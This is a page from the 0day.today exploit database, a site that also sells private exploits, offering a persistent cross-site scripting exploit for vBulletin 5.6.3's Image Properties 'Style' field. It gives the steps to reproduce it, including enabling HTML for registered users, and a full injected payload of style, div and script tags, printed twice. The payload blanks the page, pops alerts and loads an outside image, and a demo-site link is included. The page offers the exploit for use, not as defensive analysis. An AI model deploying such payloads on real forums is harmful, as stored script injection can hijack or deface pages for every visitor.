0day.today - 世界最大的漏洞利用数据库。
![](/img/logo_green.jpg)
- 我们唯一的域名:http://0day.today
- 我们大多数的材料都完全免费
- 如果你想购买漏洞利用 / 获取V.I.P.权限 或者使用其他付费服务,
你需要购买或者赢取金币金币
本站管理员使用官方账号。请谨防诈骗!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
你可以由此方式联系我们:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
vBulletin 5.6.3 Persistent XSS Image Properties Vulnerability
[ 0Day-ID-34885 ]
完整标题
vBulletin 5.6.3 Persistent XSS Image Properties Vulnerability
[ 置顶 ]
置顶 - 是一项付费服务,可以使你的材料有更多访问者。
价格:
10
价格:
![](/img/gold.gif)
添加日期
平台
已确认
![](/img/check.png)
价格
免费
风险
![](/img/risk/critlow_3.gif)
安全风险级别 - 高
]Rel. releases
描述
Click Image Properties in the Pmchat or Topic on the forum and we can see that field "Style" vulnerable to cross site scripting.
使用说明
Put xss code in the field and click "post reply". And we have a persistent xss. XSS attack can be use only by the administrator. He will not do this.
Can a user do this? Yes. If the administrator changes the settings.
Settings for change and tests:
Admin CP - Channel Permissions Manager - Edit Registered Users-Can Use HTML - yes. And we can see the rule : "Security Risk: Enabling HTML for untrusted users can expose your site to security risks and exploitation".
We found a vulnerable field and tested how it works if we change the security settings. But there may be(?) other ways to exploit this bug.
Example page with Persistent XSS:
https://8289cfe4157f-041544.demo.vbulletin.net/forum/main-forum/82-hello
XSS CODE (i like a big code;)):
""><style>body{visibility:hidden;} html{background-color: Black;}</style><div style="position: absolute;left: 420px;top: 40px;%E2%80%8B%E2%80%8Bz-index: 10;visibility: visible; color: Green; font-size: 40px;"><script>alert("Persistent XSS")</script><script>alert("vBulletin 5.6.3")</script><script>alert("by XSS Maker Vincent ibn Winnie")</script><img src="https://i.gifer.com/Ltvw.gif " style="height: 300px; width: 400px;" alt=".."><br>Cross site scripting is here..;)<br></img><iframe>
Can a user do this? Yes. If the administrator changes the settings.
Settings for change and tests:
Admin CP - Channel Permissions Manager - Edit Registered Users-Can Use HTML - yes. And we can see the rule : "Security Risk: Enabling HTML for untrusted users can expose your site to security risks and exploitation".
We found a vulnerable field and tested how it works if we change the security settings. But there may be(?) other ways to exploit this bug.
Example page with Persistent XSS:
https://8289cfe4157f-041544.demo.vbulletin.net/forum/main-forum/82-hello
XSS CODE (i like a big code;)):
""><style>body{visibility:hidden;} html{background-color: Black;}</style><div style="position: absolute;left: 420px;top: 40px;%E2%80%8B%E2%80%8Bz-index: 10;visibility: visible; color: Green; font-size: 40px;"><script>alert("Persistent XSS")</script><script>alert("vBulletin 5.6.3")</script><script>alert("by XSS Maker Vincent ibn Winnie")</script><img src="https://i.gifer.com/Ltvw.gif " style="height: 300px; width: 400px;" alt=".."><br>Cross site scripting is here..;)<br></img><iframe>
厂商
https://www.vbulletin.com/en/vb5-trial/
受影响的版本
5.6.3
Tested on
Windows 10 Mozilla Firefox and Opera
凭证信息
其他信息
投诉
0
评论
0
视角
2 341
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
免费
开放此漏洞利用
你可以免费开放此漏洞利用的代码
你可以免费开放此漏洞利用的代码
![](/img/check_16.png)
已经0day.today 漏洞数据库 : 漏洞 : 0day : 最新漏洞利用 : 购买出售私有漏洞利用 : Inj3ct0r团队的shellcode站管理员确认
此材料已经管理员查验,并证明绝对有效。
此材料已经管理员查验,并证明绝对有效。
[ 评论: 0 ]
评论须知:
- 用户不得在此交换个人联系方式
- 禁止在此谈论其它网站/项目的交易价格
- 禁止转售
登录或注册后即可发表评论
登录或注册后即可发表评论